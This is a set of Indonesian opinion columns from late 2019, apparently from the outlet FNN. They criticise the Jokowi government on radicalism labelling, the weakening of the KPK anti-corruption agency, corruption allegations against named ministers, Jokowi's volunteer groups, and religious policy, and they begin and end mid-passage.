dikriminalisasi. UAS nampaknya akan menjadi ulama pertama yang ditarget rezim. Pertemuan ini, merupakan langkah negosiasi untuk memaksa UAS memilih satu diantara tiga pilihan. Mau tunduk kepada rezim dan menerima sejumlah kompensasi, memilih untuk tiarap (diam), atau ditekan dan dikriminalisasi jika masih melawan rezim. Jadi, pertemuan Menag dengan UAS bukan untuk memferifikasi hadits yang disampaikan UAS. Sebab, secara keilmuan bisa apa Fahrur Razi dibandingkan UAS kalau bicara hadits ? Atau Menag mau menggunakan tangan kekuasaan untuk memberi stempel hadits yang disampaikan UAS sensitif ? Ini merupakan aksi nyata bahwa rezim memang ingin membungkam dakwah Islam, rezim menjadi pihak yang menyeleksi hadits berdasarkan arogansi kekuasaan. Berdalih ceramah sensitif, ayat sensitif, hadits sensitif, rezim akan mengunci dan menutup rapat syiar dakwah dan agama Islam menggunakan otoritas kekuasaan. Karenanya, semua ustadz, ulama, mubaligh, advokat, akademisi, tokoh Islam dan segenap umat Islam wajib bergandengan tangan untuk saling melindungi. Semboyan umat harus berani menjadi martir bagi ulama, sementara ulama siap menyongsong Syahid demi menjaga kemuliaan Dien Islam. Ya Allah, selamatkanlah umat dan agama ini. Amien. [].

Bicara Radikalisme, Jangan Lupa Korupsi dan UU KPK

By Asyari Usman (Wartawan Senior) Jakarta, FNN - Tudingan dan labelisasi radikalisme terhadap umat Islam, dipastikan tidak akan berhenti. Para penguasa rakus, oligarki berbasis uang, golongan anti-Islam, kekuatan asing dan entah siapa lagi, akan berkolaborasi memusuhi Islam dan umat Islam. Ini akan terus berlangsung. Mereka itu dibantu oleh kelompok-kelompok liberal dan sekte sesat. Mereka akan senantiasa melakukan “concerted effort” (tindakan berjemaah) untuk melecehkan, meremehkan dan melemahkan umat Islam. Kalau melemahkan Islam, pasti tidak mungkin. Karena Islam itu urusan Allah SWT. Yang mereka lakukan adalah langkah-langkah untuk memojokkan umat Islam. Supaya umat tak berkutik. Agar umat ketakutan. Sekali lagi, proyek ini akan berlanjut dan berkepanjangan. Sebab, proyek ini adalah sumber uang dan sumber utang. Baik. Saat ini, kita sudah cukup bernarasi tentang rencana busuk mereka untuk menghancurkan umat Islam. Kita semua sudah paham apa tujuan mereka. Dan kita pun sudah hafal gerak-gerik mereka. Cukuplah itu. Sekarang, kita kembali ke isu korupsi. Kita harus kembali mempersoalkan langkah terkutuk pemerintah dan DPR dalam melemahkan Komisi Pemberantasan Korupsi (KPK). Presiden Jokowi belum juga menerbitkan Perppu yang membatalkan pemberlakuan UU KPK hasil revisi. Boleh jadi juga tak akan pernah diterbitkan. Jangan sampai kita lupa pada masalah yang sangat urgen ini. Korupsi dan KPK perlu kita pertanyakan terus. Radikalisme tak akan pernah selesai. Sangat mungkin isu radikalisme itu, hari ini, sengaja diapungkan (being afloated) agar publik lupa dengan penghancuran KPK. Supaya publik tidak ingat dengan pembunuhan terhadap KPK. Kalangan mahasiswa sudah menyampaikan tuntutan kepada pemerintah agar membatalkan UU KPK hasil revisi. Sebab, UU ini jelas diolah untuk menjadikan KPK sebagai “singa ompong” dan tak berkuku. KPK bakal dikendalikan oleh Dewan Pengawas (DP) yang akan dibentuk oleh pemerintah atau DPR, atau oleh keduanya secara bersama-sama. DP adalah borgol yang diikatkan ke tangan KPK. Badan antikorupsi ini tidak bisa lagi melakukan penyadapan telefon secara bebas. Harus diizinkan dulu oleh Dewan. Kalau penyadapan tidak dibolehkan, itu berarti selesailah kisah-kisah heroik KPK dalam melakukan OTT (Operasi Tangkap Tangan). Dengan kehadiran DP, tampilan KPK berubah total. Wajah lembaga antikorupsi itu menjadi kunyu, gembel, loyo. Matanya kabur. Kupingnya pekak. Ototnya lisut. Tak bertenaga. Begitulah gambaran tentang KPK di bawah UU hasil revisi. KPK dihajar habis oleh DPR. Dalam kondisi lungai, KPK dibawa oleh Presiden Jokowi ke klinik bedah plastik untuk ganti kelamin. Agar tidak lagi garang. Masih adakah peluang untuk menyelamatkan KPK dari bedah plastik? Kelihatannya masih bisa. Kalau kita semua berperan. Mari kita persoalkan terus pemberantasan korupsi yang kini dilemahkan oleh DPR. Terutama oleh PDIP. Kenapa PDIP? Karena merekalah yang paling keras bersuara di DPR agar KPK dihancurkan.[] 29 Oktober 2019

Menteri “Bernoda” Korupsi (1): Tito Karnavian dan Erick Thohir?

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Ketika mengumumkan susunan Kabinet Indonesia Maju (KIM) periode 2019-2024, Presiden Joko Widodo perintahkan 7 hal untuk para menteri: 1. Jangan korupsi, ciptakan sistem yang menutup celah terjadinya korupsi; 2. Tidak ada visi misi Menteri, yang ada visi misi Presiden-Wakil Presiden; 3. Kerja keras, kerja cepat, kerja produktif; 4. Jangan terjebak rutinitas yang monoton; 5. Kerja berorientasi hasil nyata, tugas kita tidak hanya menjamin sent, tapi delivered. 6. Selalu cek masalah di lapangan dan temukan solusinya; 7. Serius dalam bekerja. Yang tak bersungguh-sungguh, dipastikan dicopot. Presiden Jokowi juga mengancam menteri korupsi langsung dicopot. Ini ancaman untuk menteri yang “bernoda” korupsi. Adakah di antara para menteri dan wakil menteri yang baru dilantik Presiden Jokowi tersebut “bernoda” korupsi? Berdasarkan jejak kasus dan digital news terdapat beberapa nama yang berpotensi akan berhadapan dengan penegak hukum. Siapa saja? Tito Karnavian Sehari setelah pelantikan menteri KIM, Jum’at (25 Oktober 2019 00:08 WIB), Tempo.co kembali mengungkit skandal “buku merah” yang di dalamnya tertulis nama Tito Karnavian yang buktinya sudah “diselamatkan” penyidik. Melansir Tempo.co, KPK menyatakan tidak ikut mengambil keputusan untuk menghentikan penyidikan kasus penyobekan barang bukti dalam kasus impor daging atau yang lebih dikenal sebagai skandal buku merah yang dilakukan Roland dan Harun. Kedua penyidik KPK asal Polri yang telah dikembalikan oleh KPK itu dilaporkan melakukan pengrusakan buku merah pada 12 Oktober 2018. Roland dan Harun, dua penyidik polri yang dipulangkan dari KPK setelah diduga merusak bukti tersebut. Menurut Jubir KPK Febri Diansyah, kewenangan untuk menghentikan penyidikan itu ada di kepolisian. “Kewenangan untuk melanjutkan atau menghentikan sebuah perkara itu berada pada penyidik, penyidik dalam hal ini tentu adalah yang berada di Polri,” katanya. Tim KPK yang datang dalam perkara itu cenderung hanya mendengarkan pemaparan dari kepolisian. KPK, tidak berwenang untuk menyepakati atau menolak penghentian penyidikan kasus tersebut. “Karena domain dari pokok perkara itu ada di kepolisian,” tegasnya. Sebelumnya, kepolisian telah menghentikan penyidikan kasus pengrusakan buku merah. Keputusan tersebut telah diambil dalam gelar perkara di Polda Metro Jaya pada 31 Oktober 2018. “Bahwa faktanya tidak ditemukan adanya perusakan catatan tersebut,” kata Kepala Divisi Humas Polri Inspektur Jenderal Muhammad Iqbal di kantornya, Jakarta Selatan, Kamis, 24 Oktober 2019, seperti dilansir Tempo.co. Menurut Iqbal, gelar perkara itu diikuti unsur kepolisian, KPK, dan Kejaksaan. Kata Iqbal, ketiga lembaga termasuk KPK sepakat tidak ditemukan adanya dugaan perbuatan melawan hukum berupa pengerusakan barang bukti kasus suap daging impor Basuki Hariman ini. Polri mulai menyidik kasus pengrusakan buku merah pada 12 Oktober 2018. Terlapor dalam kasus itu ialah Roland dan Harun, dua penyidik polri yang dipulangkan KPK setelah diduga merusak bukti tersebut. Keduanya diduga telah merobek 15 lembar catatan transaksi dan membubuhkan tip-ex untuk menghapus sejumlah nama penerima uang dari perusahaan Basuki yang diduga mengarah ke petinggi polri (baca: Tito Karnavian, kini Mendagri). Perobekan itu terekam dalam CCTV di ruang kolaborasi lantai 9 gedung KPK pada 7 April 2017. Indonesialeaks, kanal bagi para informan publik berbagi dokumen penting tentang skandal, baru-baru ini merilis video CCTV soal pengrusakan buku merah tersebut. Rekaman itu menunjukkan peristiwa saat Roland dan Harun diduga melakukan pengrusakan terhadap buku. KPK telah menyerahkan salinan rekaman itu ke Polda Metro Jaya pada Oktober 2018. Rekaman video itupun sudah viral di medsos. Media mainstream sekelas Tempo.co yang tergabung dalam Indonesialeaks tidak mungkin menyebar berita hoax terkait rekaman video CCTV soal pengrusakan buku merah tersebut. Keberanian KPK mengusut kasus ini sangat ditunggu rakyat. Dari 7 lembar yang disobek itu dan dinyatakan “hilang” tersebut, antara lain ada data: Tgl 21/3/2016, untuk Kapolda/Tito USD 75.872 x 13.180 = 999.992.960; Tgl 20/4/2016, untuk Bp Tito/Polda USD 75.988 x 13.160 = 1.000.000.000; Tgl 19/5 2016 untuk Bp Tito (Kapolda) USD 73.882 x 13.535 = 999.992.870; Tgl 14/7/2016 untuk Bp Tito USD 76.160 x 13.130 = 999.980.800. Bukti 316: 1 (satu buah buku Bank berwarna merah bertuliskan Ir. Serang Noor No. Rek 4281755174 BCA KCU Sunter Mall beserta 1 (satu) bundel rekenng Koran PT Cahaya Sakti Utama Periode 4 November 2019 s.d. 16 Januari 2017. Langkah Presiden Jokowi menarik Tito Karnavian menjadi Mendagri bisa disebut sebagai langkah cerdik, mencerabut pengaruh dan kekuasaan Jenderal Tito di institusi Polri. Dengan menjabat Mendagri, KPK lebih leluasa mengusut skandal buku merah. Erick Thohir Konon, ada dana Asian Games 2018 lalu yang miss mencapai sekitar Rp 1,2 triliun, dan itu nasibnya ada di BPK. Sinyal itu ditegaskan oleh Ketua KPK Agus Rahardjo dan Wakil Ketua KPK Saut Situmorang. Memang mereka tidak menyebut nama dan perilaku secara spesifik yang mengarah ke sana, namun ungkapan itu memang ada peluang besar ke Imam Nahrowi dan Erick Thohir yang kini menjadi Menteri BUMN dalam KIM. Imam Nahrowi kini menghadapi proses hukum di Pengadilan Tipikor Jakarta terkait skandal dana hibah KONI. Sementara Erick Thohir ditunjuk Presiden sebagai Menteri BUMN karena dinilai sukses sebagai Ketua Inasgoc dalam perhelatan Asian Games 2018 lalu. Akankah Erick Thohir digiring oleh penyidik KPK ke arah tersangka, sebagaimana Menpora jadi tersangka? Agus Rahardjo sebelumnya mengatakan, pihaknya masih mendalami siapa saja yang terlibat dalam kasus kickback dana hibah Kemenpora ke KONI. Bahkan, KPK juga akan mengembangkan kasus dana hibah Kemenpora ke KONI itu hingga kemana-mana. Termasuk diantaranya menyelidiki hingga dana untuk Asian Games 2018 itu. “Kami masih dalami siapa saja yang akan terlibat kemudian rangkaiannya kemana,” ujarnya. “Kalau Kemenpora pasti tidak hanya dana hibah Kemenpora ke KONI, tapi ada juga yang ke International Olympic Committee (IOC). Ya kami bisa men-trace juga misalnya penggunaan dana Asian Games kemarin ya,” tegas Agus Rahardjo. Meski begitu, Agus enggan menyampaikannya secara detail mengingat hal itu saat ini sedang dalam penelusuran tim KPK. “Jadi, kami akan telusuri itu. Kami belum bisa melaporkannya secara komplit, secara jelas,” lanjut Agus Rahardjo. Wakil Ketua KPK Saut Situmorang lebih tegas lagi. Institusinya telah menemukan indikasi-indikasi korupsi menjelang dan saat pergelaran Asian Games 2018 lalu. “Kami sudah melihat indikasi-indikasi (korupsi) waktu itu,” ujar Saut Situmorang. Semua data, semua percakapan, termasuk mutasi rekening dan bukti-bukti lain sudah ada di tangan. KPK tinggal menunggu waktu yang tepat untuk membongkar semuanya. Termasuk dugaan penyimpangan dana terkait Asian Games 2018. Sudah tiga bulan berlalu pesta akbar Asian Games 2018 yang terbilang sukses pelaksanaan dan sukses prestasi, menjadi sorotan banyak mata dunia. Namun dibalik kemeriahan itu KPK mencium aroma korupsi menjelang dan saat pergelaran Asian Games 2018. Pelan tapi pasti KPK mengusut indikasi korupsi atas even olahraga Internasional tersebut, sebab dana yang digunakan sekitar Rp 30 triliun, bukan tidak mungkin ada tangan nakal pejabat yang memanfaatkan uang tersebut untuk masuk kantong pribadi. Kabarnya, ada dana senilai Rp1,2 triliun yang tak bisa dipertanggungjawabkan. “Kami sudah melihat indikasi-indikasi (korupsi) waktu itu, tapi kami mau kelancaran acara (Asian Games 2018),” ujar Saut Situmorang kepada wartawan. Kini, Erick Thohir bakal menghadapi laporan mantan Wakapolri Komjen Purn. Oegroseno. “Hukum dibuat mainan oleh Erick Thohir dan beberapa oknum pengurus KOI,” ungkapnya kepada Pepnews.com, Senin (28/10/2019). Oegroseno melaporkan mantan petinggi Komite Olimpiade Indonesia (KOI), Erick Thohir dan Helen Sarita de Lima, ke Polri karena ia merasa dirugikan setelah atlet tenis meja tidak dikirimkan ke SEA Games 2019 Filipina. Pengurus Pusat Persatuan Tenis Meja Seluruh Indonesia (PP PTMSI) pimpinan Oegroseno, menyiapkan 4 atlet putra dan 4 atlet putri itu menuju SEA Games 2019 yang dilangsungkan mulai 31 November hingga 11 Desember 2019. Mereka dipatok target 1 medali emas, 2 perak, dan 4 perunggu. Tapi, KOI memutuskan untuk tidak menyertakan tenis meja ke SEA Games 2019. Sebab, PTMSI disebut sedang memiliki tiga kepengurusan. “Harapan atlet yang sudah menjalani latihan sejak Maret 2019 telah diluluhlantakkan oleh saudara Erick Thohir sebagai Ketum KOI masa bakti 2015 - 2019,” kata Oegroseno seperti dikutip dari Detiksport , Jumat (25/10/2019). Oegroseno bersikukuh dualisme kepengurusan PTMSI berakhir dengan munculnya Putusan PTUN pada pertengahan 2014 sampai dengan akhir 2015 dan sudah mendapatkan Putusan MA Nomor: 274K/TUN/2015 yang berkekuatan hukum tetap (inkracht). Isinya, KONI segera mengukuhkan kepengurusan PP PTMSI dengan Ketua Umum Komjen Pol (Purn) Drs Oegroseno, SH. “Kami mengalami kerugian anggaran yang telah dikeluarkan oleh swadaya PP PTMSI mencapai Rp 15 miliar,” ungkapnya. “Karena atlet sudah bertanding melawan atlet-atlet dari delapan negara tingkat Asia yang juga Kualifikasi Olimpiade Tokyo 2020 serta ke Kejuaraan Internasional bulan depan di Batam,” ujar Oegroseno. ***

Bukan Radikalisme, Cuma Keresahan Mereka Saja

By Asyari Usman (Wartawan Senior) Jakarta, FNN - Dalam 20 tahun terakhir ini, umat Islam leluasa menjalankan dakwah. Di mana saja, di semua tingkat. Setelah puluhan tahun dikekang dan ditindas oleh penguasa. Dakwah itu kini membuahkan hasil positif. Ketakwaan umat secara umum terlihat meningkat. Kasat mata menyaksikan itu. Tanda-tandanya antara lain adalah semakin banyak wanita yang mengenakan busana muslimah. Umat semakin paham dan percaya diri. Di kampus-kampus. Di tempat-tempat kerja, baik di lingkungan kantor pemerintahan maupun di lingkungan pabrik-pabrik. Ahamduillahnya, gairah keislaman tidak lagi terbatas di lingkaran yang dulu boleh disebut tak berkelas. Islam kini dipahami, dihayati, dan dilaksanakan semaksimal mungkin oleh kelas menengah. Kelas terdidik. Educated. Begitulah pertumbuhan dakwah yang dijalankan dengan damai oleh para ulama, kiyai, ustad, dll. Berhasil menjangkau lapisan luas masyarakat. Dan disambut dengan tangan terbuka. Dulu, orang-orang yang bermukim di kawasan elit kota-kota besar enggan memakai jilbab. Takut dikatakan terbelakang jika mengenakan busana muslimah. Sekarang, semua itu sirna dimakan oleh pengetahuan mereka tentang Islam. Dulu, orang Islam ragu-ragu menampilkan keislamannya. Sekarang, semua itu hilang. Umat dari segala lapisan dan kelas memberikan perhatian besar terhadap dakwah. Umat semakin paham bahwa tujuan hidup mereka adalah akhirat yang terbaik. Itulah buah dakwah yang mulai meresahkan banyak pihak. Resah karena tiba-tiba hari ini di mana-mana perempuan Islam rata-rata memakai busanana muslimah. Menutup aurat. Majelis ilmu agama tumbuh bak jamur di tanah lembab. Pertumbuhan dakwah itu juga ditandai oleh kehadiran rumah ibadah, yaitu masjid dan musholla, di kantor-kantor dan tempat-tempat komersial seperti mal, plaza, pasar, dlsb. Bahkan sampai ke sekolah-sekolah. Rata-rata sekolah memiliki masjid atau surau. Sholat dan sarananya menjadi kebutuhan mutlak. Ini yang membuat kaum liberal meradang. Mereka panik melihat semakin banyak kaum muda yang lebih tertarik kepada ketakwaan ketimbang kesesatan. Di banyak perguruan tinggi negeri, juga swasta, boleh dikatakan hampir 100 persen mahasiswa dan dosen Islam berpakaian muslimah. Akibatnya, mereka gelisah melihat kampus-kampus yang mahasiswanya ikut pengajian dan majelis ta’lim. Ada masjid kampus. Azan bersahut-sahutan. Salah seorang Youtuber sesat, namanya DS, termasuk yang gelisah melihat kampus-kampus yang semakin solid dengan suasana Islami. Dalam satu kampanye video, DS menuduh mereka tercuci otak, terpapar radikalisme, dll. Dia tuduh para mahasiswa yang semakin takwa itu sebagai pendukung khilafah. Garis keras, intoleran, dsb Umat Islam tampkanya kembali dijadikan bulan-bulanan. Label radikalisme dikampanyekan oleh orang-orang yang anti-Islam. Baik oleh mereka yang Islam maupun yang bukan Islam. Para penguasa ikut termakan. Presiden Jokowi sendiri juga yakin umat Islam sekarang menjadi radikal. Salah satu fokus kerja Jokowi adalah proyek deradikalisasi. Padahal, umat hanya menjalankan syariat agama mereka. Secara damai dan tidak mengganggu siapa pun. Tapi, mengapa begitu gencar kampanye radikalisme? Ada beberapa penjelasan. Pertama, sejak 20 tahun terakhir ini umat Islam dari semua lapisan dan di segenap pelosok negeri bisa bersatu dalam dakwah. Bersatu dalam Islam garis lurus. Ini yang membuat para pembenci Islam yang memiliki kekuatan uang tak terbatas, berusaha menggunakan para penguasa untuk menindas pertumbuhan dakwah. Salah satu caranya adalah memunculkan isu radikalisme. Terminologi ini sangat ampuh untuk menakut-nakuti umat. Kedua, ada kekuatan luar yang juga merasa resah melihat umat yang semakin solid dalam dakwah. Islam garis lurus yang tersambung begitu kukuh membuat kekuatan luar merasa terhalang untuk masuk. Mereka menjadi frustrasi. Umat garis lurus akan membendung mereka. Kekuatan luar yang ingin masuk ke sini, pasti merasa tak cocok dengan umat yang menunjukkan sauasana islami. Ketiga, bisa jadi juga sejumlah pemegang kuasa tertentu sengaja memelihara isu radikalisme karena mereka bisa menjual itu untuk mendapatkan duit besar. Ini sangat berbahaya. Sebab, para penguasa yang memelihara isu radikalisme itu bisa memainkannya secara terukur dan terkendali. Mereka itu sangat ceroboh. Permainan ini hanya mengorbankan umat. Umat Islam menjadi tertuduh terus. Jadi, yang sesungguhnya berlangsung bukanlah keberadaan radikalisme. Yang ada hanyalah suasana islami umat garis lurus yang sama sekali tidak mengancam siapa pun. Cuma memang menyulut keresahan sejumlah pihak. Yaitu, mereka yang tak rela umat ini bertakwa kepada Allah Subhanahu wa Ta’aala. Padahal, umat Islam yang memiliki ketakwaan dipastikan akan bermentalitas Pancasila.[] 28 Oktober 2019

Pak Presiden Tolong Bubarkan Relawan Jokowi

Oleh Mangarahon Dongoran, (Wartawan Senior) Jakarta, FNN - Jika relawan Jokowi tidak dibubarkan atau membubarkan diri, maka akan menjadi salah satu benalu pengganggu roda pemerintahan lima tahun mendatang. PEKAN lalu ada berita yang sempat menarik perhatian saya, saat saya dirawat di sebuah rumah sakit di Kota Tangerang, Provinsi Banten. Berita itu bukan karena Joko Widodo dan Ma'ruf Amin dilantik menjadi Presiden dan Wakil Presiden periode 2019-2024. Pun juga bukan karena hiruk-pikuk pengangkatan 34 menteri dan pejabat setingkat menteri yang menjadi pembantu Presiden. Bukan pula pengangkatan 12 orang wakil menteri yang menjadi pembantu wakil menteri dalam melaksanakan tugas-tugasnya. Dengan pengangkatan wamen, berarti ada pembantunya pembantu presiden. Berita menarik bagi saya adalah ketika relawan Projo (Pro Jokowi) menyatakan bubar. Alasannya, karena mereka merasa tidak dibutuhkan lagi. Meski sebenarnya itu alasan yang dibuat-buat. Alasan paling menyebalkan sebenarnya ada dua. Pertama, karena Projo tidak suka Prawobo Subianto diangkat menjadi Pertahanan RI. Harap maklum, Prabowo adalah rival Jokowi dalam dua kali Pilpres (2014 dan 2019). Dalam dua kali pilpres itu juga Projo merupakan relawan militan yang selalu siap dengan peluru tajamnya untuk menghujam lawan Jokowi, yaitu Prabowo Subianto. Bukan relawan tanpa pamrih Alasan kedua, karena Projo yang merasa berdarah-darah dan berkeringat membela Jokowi, tetapi tidak mendapatkan apa-apa. Meski selama ini mereka mengatakan relawan tanpa pamrih, tapi dari hati yang dalam, Projo merasa ditinggal begitu saja. "Sakitnya tuh, di sini (maksudnya hati)," demikian kira-kira yang terasa pada sebagian relawan Projo. Sejujurnya, saya senang dengan ketulusan Projo membubarkan diri, meski akhirnya diralat alias tidak bubar karena Ketua Umumnya Budi Ari Setiadi diangkat menjadi Wakil Menteri Desa dan Pembangunan Daerah Tertinggal. Artinya, setelah mengancam bubar, baru diberi kue. Seandainya tidak mengancam, mungkin Projo tidak dapat apa-apa. Artinya, selama ini orang-orang Projo bukanlah relawan tanpa pamrih, tetapi relawan dengan penuh harapan. Projo sebenarnya berharap mendapapat kursi menteri. Apa boleh buat, wamen oun jadilah. Ibarat kata pepatah, "Tak ada rotan akar pun jadilah." Jauh sebelum Projo mengeluarkan pernyataan membubarkan diri (meski batal), sebenarnya saya sudah ingin meminta atau menyarankan agar Presiden RI membubarkan seluruh relawan Jokowi. Alasannya, karena Pilpres yang merupakan pertarungan demokrasi sudah berakhir. Ibarat peperangan, yang satu sudah kalah, dan yang menang harus berusaha merangkul yang kalah. Prabowo disandera Apalagi, lawan utama Anda (Prabowo) sudah dijadikan sandera dalam pemerintahan Anda. Ibaratnya, panglima perangnya sudah Anda buat bertekuk lutut, tidak berdaya, dan tunduk sesuai dengan keinginan Anda. Jika macam-macam, tinggal ditendang dari kabinet yang Anda pimpin. Saya sudah tahu jawaban yang akan dilontarkan Jokowi jika permintaan atau saran saya ini dibaca. "Saya tidak berhak membubarkan mereka (relawan Jokowi)," kira-kira itu jawaban yang keluar. "Betul! Anda tidak berhak membubarkannya. Akan tetapi Anda berhak menjaga jarak dengan para relawan Jokowi itu. Setidaknya, Anda bisa mengatakan, "Pilpres sudah selesai. Jadi, semua harus bersatu. Relawan Jokowi tidak diperlukan lagi. Semuanya adalah rakyat saya." Mengapa saya meminta atau menyarankan Presiden membubarkan Relawan Jokowi yang jumlahnya menurut data yang saya peroleleh 120 relawan (bisa lebih)? Karena menurut pengamatan dan hemat saja, jika Relawan Jokowi tidak dibubarkan atau membubarkan diri, maka akan menjadi salah satu benalu pengganggu roda pemerintahan lima tahun ke depan. Banyak benalu lain, baik yang berasal dari eksternal maupun internal. Belum lagi pertumbuhan ekonomi yang diyakini akan berat, yang merupakan benalu terbesar. Belum lagi gangguan keamanan, seperti pemberontakan separatis di Papua. Meminta proyek Mereka akan terus meminta atau menekan agar mendapatkan jabatan dan proyek. Ini saya katakan, karena ada pengalaman seorang kepala daerah tingkat dua (walikota) yang sempat menyampaikan unek-uneknya ke saya pada periode Presiden Joko Widodo-Jusuf Kalla ( 2014-2019) yang lalu. Kata walikota itu, ia pusing karena didatangi Relawan Jokowi. Mereka meminta proyek. Tidak dikasih mereka menekan. Kalau dikasih, belum tahu track recordnya atau rekam jejaknya dalam urusan proyek bagus. Tidak hanya di daerah. Relawan Jokowi juga meminta proyek di BUMN. Kalau ada komisaris atau direksi di sebuah BUMN berasal dari Relawan Jokowi maupun tim suksesnya, mereka tidak perlu meminta karena sudah ditawarkan. Kalau BUMN yang komisaris atau direksi tidak ada yang berasal dari relawan atau tim sukses, maka mereka masuk meminta proyek dengan memaksa. Oleh karena itu, "Pak Presiden Tolong Bubarkan Relawan Jokowi." Sebab, selain merupakan salah satu benalu di pemerintahan yang Anda pimpin, relawan ini juga berpotensi besar untuk berbenturan dengan sesama anak bangsa. Sebab, jika ada kelompok atau individu yang dianggap tidak sejalan dengan mereka, maka dianggap sebagai lawan yang harus dimusuhi dan kalau perlu "dibinasakan." Jika ada perbedaan pendapat, apalagi menyangkut agama, mereka langsung mencap, "intoleran, anti Pancasila, anti NKRI," dan sederet kata lainnya. Bahkan, mereka tidak segan mengatakan sebagai kelompok radikal. Bahkan, jika ada yang mengkritisi kebijakan pemerintah, terutama mengkritisi janji kampanye Anda yang tidak dilaksanakan, mereka akan mem-bully atau merundung habis-habis. Ini seperti yang terjadi dalam lima tahun pemerintahan Anda sebelumnya. Mereka akan mengatakan hal itu fitnah, bukan kritik. Padahal, yang disampaikan adalah kritik dan mengingatkan apa yang Anda janjikan selama kampanye. Sebagaimana sering Anda kemukakan, pemerintahan yang Anda pimpin membutuhkan masukan, kritik dan saran membangun. Sekali lagi Pak Presiden, tolong bubarkan Relawan Jokowi ! **

Gagasan yang Menyulitkan Nadiem Makarim

By Asyari Usman (Wartawan Senior) Jakarta, FNN - Karena sesuatu hal, baru sekarang bisa menuliskan tanggapan. Mohon maaf kalau dirasakan telambat. Pada hari pelantikan kabinet Jokowi, seorang pemilik akun FB bernama Sahat Siagian, memperlihatkan rasa senangnya terhadap penunjukan Nadien Makarim sebagai menteri pendidikan. Sahat mengatakan, inilah kesempatan baik bagi Nadiem untuk membongkar masjid-masjid yang berada di komplek sekolah. Sahat jelas-jelas memperlihatkan kegusarannya terhadap busana muslimah yang dipakai oleh para siswi. Dia menginginkan agar Nadiem ‘menetralkan’ pakaian muslimah yang sangat dibencinya itu. Tersirat keinginan Sahat agar pakaian yang menutup aurat dilarang di semua sekolah. Sahat berharap banyak pada Nadiem. Dia membayangkan Mendiknas yang baru ini akan melancarkan gebrakan untuk membasmi suasana islami di lingkungan sekolah dan kampus. “Habiskan semua, Bung. Luluhlantakkan mereka,” tulis Sahat. “Tidak boleh lagi ada yang menaungi pendidikan. Sebab, belajar adalah sebuah upaya untuk membebaskan diri dari tahyul atau kepercayaan apa pun,” kata Sahat lagi. Luar biasa pedas kalimat-kalimat Sahat. Dia meminta agar Nadiem memberangus suasana islami di sekolah dan kampus. Sahat tak menyembunyikan kebenciannya pada Islam. Kehidupan Nadiem sangat disenangi oleh Sahat. Dia melihat prinsip hidup Nadiem sangat cocok untuk ditiru oleh umat Islam. Misalnya, Sahat mengatakan bahwa dia tidak terkejut ketika dia tahu istri Nadiem beragama Katolik. Dan dia sangat senang pula mendengar anak-anak Nadiem dibaptis. Tetapi, Sahat lupa bahwa Nadiem tidak akan mampu mengubah satu orang pun perempuan yang telah teguh dengan keislamannya. Nadiem akan membentur tembok keras jika dia mencoba mengganggu umat Islam yang menerapkan syariat secara wajar, damai dan konstitusional. Akibat benturan itu boleh jadi akan sampai ke wajah Sahat. Kita yakin Nadiem tidak akan mengutak-atik masjid atau surau yang ada di sekolah. Hampir pasti kaum muslimin akan menafsirkannya sebagai upaya kelompok lain untuk mengganggu umat Islam. Kenapa? Karena Sahat terlanjur mengatakan bahwa istri Nadieam beragama Katolik. Seharusnya Sahat tidak menyebutkan itu dalam tulisannya yang berjudul “Bung Nadiem”. Memang terasa enak menyebutkan itu. Tetapi, menjadi sangat sensitif ketika suatu hari nanti Nadiem mengeluarkan kebijakan yang frontal terhadap umat Islam. Kalau Nadiem tiba-tiba membongkar semua masjid atau surau dari komplek sekolah, tentulah salah satu yang terlintas di pikiran kaum muslimin adalah Katolik. Istri Nadiem yang bergama Katolik. Jadi, tulisan Sahat itu sesungguhnya sangat berbahaya. Gagasan Sahat menyulitkan Nadiem. Bisa memunculkan kecurigaan antargolongan. Seharusnya tidak diumbar di depan umum tentang kekatolikan istri Nadiem. Apalagi di media sosial beredar foto-foto keluarga Nadiem yang tampak sedang mengikuti acara di gereja. Sahat seharusnya menyembunyikan kekatolikan istri Nadiem itu. Supaya umat Islam tidak curiga kepada Nadiem. Jika kelak beliau menghantam umat Islam sebagaimana diinginkan oleh Sahat Siagian.[] 28 Oktober 2019

Menteri Agama (Tak) Mengurus Umat Islam

Ucapan menteri yang bernada tidak untuk mendamaikan suasana seperti itu, seharusnya tidak boleh ada di lembaga pemerintahan. Kita patut menyatakan, sekarang kementerian itu tidak lagi untuk mengurus Umat Islam. Sementara uang wakaf, sedekah, dana haji, miliknya Umat Islam kini telah dipergunakan lebih dari separuhnya oleh pemerintah. Oleh Dr. Ahmad Yani Jakarta, FNN – Departemen Agama secara historis didirikan untuk mengakomodasi kepentingan umat Islam dalam menjalankan syariat. Kementerian ini didirikan pada tahun 1946. Lembaga ini ada sebagai kompromi politik atas hilangnya tujuh kata dalam “Piagam Jakarta” pada tanggal 22 Juni 1945. Kita mengetahui bahwa setelah proklamasi 17 Agustus 1945, umat Islam melalui tokoh-tokoh politiknya merelakan kehilangan tujuh kata dalam Piagam Jakarta, yaitu “dengan kewajiban menjalankan syariat Islam bagi pemeluknya”. Hilangnya tujuh kata ini sebagai bentuk kompromi umat Islam demi keutuhan bangsa. Terlihat bahwa umat Islam menempatkan keutuhan bangsa di atas segala-galanya. Meskipun alasan keutuhan masih menimbulkan tanda tanya hingga hari ini. Namun sikap moderat umat Islam merelakan piagam Jakarta menjadi Pancasila tidak bisa dinilai secara murah oleh siapapun. Itu adalah bentuk pengorbanan terbesar yang tak boleh dilupakan. Pengorbanan inim juga tidak boleh dikesampingkan oleh siapapun Pengorbanan Umat Islam atas hilangnya tujuh kata dalam Piagam Jakarta, telah menjadi perhatian utama dari pendiri bangsa ketika itu. Sehingga Muhamad Yamin, bertanya "tidak cukuplah jaminan kepada Agama Islam dengan Mahkamah Tinggi saja. Melainkan harus kita wujudkan menurut kepentingan agama Islam sendiri”. Pendek cerita, harus menurut kehendak rakyat. Bahwa urusan Agama Islam yang berhubungan dengan pendirian Islam, Wakaf, Masjid, dan penyiaran Islam, harus diurus oleh kementerian yang istimewa. Nama lembaganya ketika di tahun 1945 itu adalah “Kementerian Agama". Jadi Kementerian Agama didirikan pada tahun 1945 itu untuk mengurusi hal-ihwal Agama Islam, sesuai kepentingan Islam. Lembaga ini diadakan bukan untuk kepentingan dan urusan yang lain. Begitulah sejarah tentang lahirnya Kementerian Agama tersebut. Pertanyaan Muhamad Yamin itu menjadi bukti sejarah bahwa Kementrian Agama tersebut, dibuat khusus hanya untuk umat Islam dalam mengakomodir segala kepentingan umat Islam. Selain itu, Kementrian Agama juga yang menjadi titik temu antara kubu nasionalis sekuler dan nasionalis agama. Kiyai Haji Wahid 